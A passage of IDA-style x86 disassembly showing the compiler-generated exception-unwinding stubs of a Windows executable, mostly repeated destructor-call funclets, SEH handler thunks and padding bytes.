		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403FC0	proc near		; DATA XREF: sub_403FC0+2o
		mov	eax, offset dword_43E890
		jmp	sub_4367C8
SEH_403FC0	endp

; ---------------------------------------------------------------------------
		db 2Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438208:				; DATA XREF: ___:0043E974o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404640	proc near		; DATA XREF: sub_404640+2o
		mov	eax, offset dword_43E948
		jmp	sub_4367C8
SEH_404640	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43828B:				; DATA XREF: ___:0043E9FCo
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438296:				; DATA XREF: ___:0043EA04o
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-134h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E8h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404C70	proc near		; DATA XREF: sub_404C70+8o
		mov	eax, offset dword_43E9D0
		jmp	sub_4367C8
SEH_404C70	endp

; ---------------------------------------------------------------------------
		db 8Bh dup(0CCh)
; ---------------------------------------------------------------------------


loc_438530:				; DATA XREF: ___:0043EBD4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-28h]
		and	eax, 1
		test	eax, eax
		jz	locret_43854E
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43854E:				; CODE XREF: ___:00438540j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4066E0	proc near		; DATA XREF: sub_4066E0+2o
		mov	eax, offset dword_43EBA8
		jmp	sub_4367C8
SEH_4066E0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------


loc_438570:				; DATA XREF: ___:0043EC0Co
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-198h]
		and	eax, 1
		test	eax, eax
		jz	locret_438594
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_438594:				; CODE XREF: ___:00438586j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406890	proc near		; DATA XREF: sub_406890+2o
		mov	eax, offset dword_43EBE0
		jmp	sub_4367C8
SEH_406890	endp

; ---------------------------------------------------------------------------
		db 11h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-454h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4385BB:				; DATA XREF: ___:0043EC44o
		lea	ecx, [ebp-43Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4385C6:				; DATA XREF: ___:0043EC4Co
		lea	ecx, [ebp-424h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406C30	proc near		; DATA XREF: sub_406C30+8o
		mov	eax, offset dword_43EC18
		jmp	sub_4367C8
SEH_406C30	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407030	proc near		; DATA XREF: sub_407030+2o
		mov	eax, offset dword_43EC58
		jmp	sub_4367C8
SEH_407030	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407660	proc near		; DATA XREF: sub_407660+8o
		mov	eax, offset dword_43EC88
		jmp	sub_4367C8
SEH_407660	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438638:				; DATA XREF: ___:0043ECE4o
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4076F0	proc near		; DATA XREF: sub_4076F0+8o
		mov	eax, offset dword_43ECB8
		jmp	sub_4367C8
SEH_4076F0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-174h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43865B:				; DATA XREF: ___:0043ED1Co
		lea	ecx, [ebp-1A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-204h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-234h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-264h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-294h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-15Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-114h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-144h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-330h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-318h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-34Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-12Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-300h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2FCh]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407790	proc near		; DATA XREF: sub_407790+2o
		mov	eax, offset dword_43ECF0
		jmp	sub_4367C8
SEH_407790	endp

; ---------------------------------------------------------------------------
		db 0CAh	dup(0CCh)
		dd 90C84D8Dh, 0C56A4CE9h
		db 75h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_409580	proc near		; DATA XREF: sub_409580+2o
		mov	eax, offset dword_43F098
		jmp	sub_4367C8
SEH_409580	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A290	proc near		; DATA XREF: sub_40A290+2o
		mov	eax, offset dword_43F0C8
		jmp	sub_4367C8
SEH_40A290	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-38h]
		and	eax, 1
		test	eax, eax
		jz	locret_438A86
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_438A86:				; CODE XREF: ___:00438A78j
		retn
; ---------------------------------------------------------------------------


loc_438A87:				; DATA XREF: ___:0043F124o
		lea	ecx, [ebp-34h]
		jmp	sub_40158C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A430	proc near		; DATA XREF: sub_40A430+2o
		mov	eax, offset dword_43F0F8
		jmp	sub_4367C8
SEH_40A430	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 90C84D8Dh, 0C569CCE9h
		db 75h
; ---------------------------------------------------------------------------


loc_438AB9:				; DATA XREF: ___:0040A952o
		mov	eax, offset dword_43F138
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40AE10	proc near		; DATA XREF: sub_40AE10+5o
		mov	eax, offset dword_43F168
		jmp	sub_4367C8
SEH_40AE10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40AF90	proc near		; DATA XREF: sub_40AF90+5o
		mov	eax, offset dword_43F1C8
		jmp	sub_4367C8
SEH_40AF90	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_438AFB:				; DATA XREF: ___:0043F254o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401555

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B0B0	proc near		; DATA XREF: sub_40B0B0+2o
		mov	eax, offset dword_43F228
		jmp	sub_4367C8
SEH_40B0B0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_438B4B:				; DATA XREF: ___:0043F29Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401555

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B170	proc near		; DATA XREF: sub_40B170+2o
		mov	eax, offset dword_43F270
		jmp	sub_4367C8
SEH_40B170	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B210	proc near		; DATA XREF: sub_40B210+2o
		mov	eax, offset dword_43F2B8
		jmp	sub_4367C8
SEH_40B210	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438BC8:				; DATA XREF: ___:0043F324o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B430	proc near		; DATA XREF: sub_40B430+2o
		mov	eax, offset dword_43F2F8
		jmp	sub_4367C8
SEH_40B430	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438BF8:				; DATA XREF: ___:0040B5F2o
		mov	eax, offset dword_43F338
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438C30:				; DATA XREF: ___:0040B8D8o
		mov	eax, offset dword_43F368
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C360	proc near		; DATA XREF: sub_40C360+2o
		mov	eax, offset dword_43F3B0
		jmp	sub_4367C8
SEH_40C360	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-0A78h]
		jmp	loc_401AFF
; ---------------------------------------------------------------------------


loc_438C7B:				; DATA XREF: ___:0043F40Co
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438C86:				; DATA XREF: ___:0043F414o
		lea	ecx, [ebp-0A54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C400	proc near		; DATA XREF: sub_40C400+8o
		mov	eax, offset dword_43F3E0
		jmp	sub_4367C8
SEH_40C400	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CB10	proc near		; DATA XREF: sub_40CB10+2o
		mov	eax, offset dword_43F428
		jmp	sub_4367C8
SEH_40CB10	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-260h]
		jmp	loc_40226B
; ---------------------------------------------------------------------------


loc_438CEB:				; DATA XREF: ___:0043F484o
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438CF6:				; DATA XREF: ___:0043F48Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D01:				; DATA XREF: ___:0043F494o
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D0C:				; DATA XREF: ___:0043F49Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CBB0	proc near		; DATA XREF: sub_40CBB0+8o
		mov	eax, offset dword_43F458
		jmp	sub_4367C8
SEH_40CBB0	endp

; ---------------------------------------------------------------------------
		db 1Fh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D4B:				; DATA XREF: ___:0043F4D4o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CE60	proc near		; DATA XREF: sub_40CE60+2o
		mov	eax, offset dword_43F4A8
		jmp	sub_4367C8
SEH_40CE60	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D7B:				; DATA XREF: ___:0043F50Co
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438D86:				; DATA XREF: ___:0040CEE2o
		mov	eax, offset dword_43F4E0
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D130	proc near		; DATA XREF: sub_40D130+2o
		mov	eax, offset dword_43F518
		jmp	sub_4367C8
SEH_40D130	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-16Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438DEB:				; DATA XREF: ___:0043F58Co
		lea	ecx, [ebp-184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D580	proc near		; DATA XREF: sub_40D580+2o
		mov	eax, offset dword_43F560
		jmp	sub_4367C8
SEH_40D580	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-604h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-634h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-664h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-67Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-61Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-58Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-694h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-64Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40DB40	proc near		; DATA XREF: sub_40DB40+2o
		mov	eax, offset dword_43F5D0
		jmp	sub_4367C8
SEH_40DB40	endp

; ---------------------------------------------------------------------------
		db 27h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438F28:				; DATA XREF: ___:0043F694o
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E220	proc near		; DATA XREF: sub_40E220+2o
		mov	eax, offset dword_43F668
		jmp	sub_4367C8
